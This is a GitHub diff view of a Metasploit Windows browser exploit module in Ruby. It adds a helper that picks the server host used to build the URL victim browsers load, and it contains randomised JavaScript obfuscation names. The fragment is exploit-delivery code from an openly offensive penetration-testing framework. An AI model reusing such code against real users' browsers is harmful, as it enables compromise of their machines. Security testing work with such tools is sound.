File tree Expand file tree Collapse file tree 1 file changed +8
-1
lines changed
modules/exploits/windows/browser Expand file tree Collapse file tree 1 file changed +8
-1
lines changed Original file line number Diff line number Diff line change @@ -75,6 +75,13 @@ def initialize(info = {})
75
75
@javascript_encode_key = rand_text_alpha ( rand ( 10 ) + 10 )
76
76
end
77
77
78
+ def get_srvhost
79
+ # If the SRVHOST isn't the default 0.0.0.0, obviously the user wants to
80
+ # specify, so we will not force source_address()
81
+ return datastore [ 'SRVHOST' ] if datastore [ 'SRVHOST' ] != '0.0.0.0'
82
+ Rex ::Socket . source_address ( cli . peerhost )
83
+ end
84
+
78
85
def on_request_uri ( cli , request )
79
86
80
87
if ( request . uri . match ( /\. gif$/i ) )
@@ -187,7 +194,7 @@ def on_request_uri(cli, request)
187
194
j_memory = rand_text_alpha ( rand ( 100 ) + 1 )
188
195
j_counter = rand_text_alpha ( rand ( 30 ) + 2 )
189
196
190
- host = Rex :: Socket . source_address ( cli . peerhost ) + ":" + ( datastore [ "SRVPORT" ] . to_s )
197
+ host = get_srvhost + ":" + ( datastore [ "SRVPORT" ] . to_s )
191
198
gif_uri = "http#{ ( datastore [ 'SSL' ] ? 's' : '' ) } ://#{ host } "
192
199
if ( "/" == get_resource [ -1 , 1 ] )
193
200
gif_uri << get_resource [ 0 , get_resource . length - 1 ]
You can’t perform that action at this time.
0 commit comments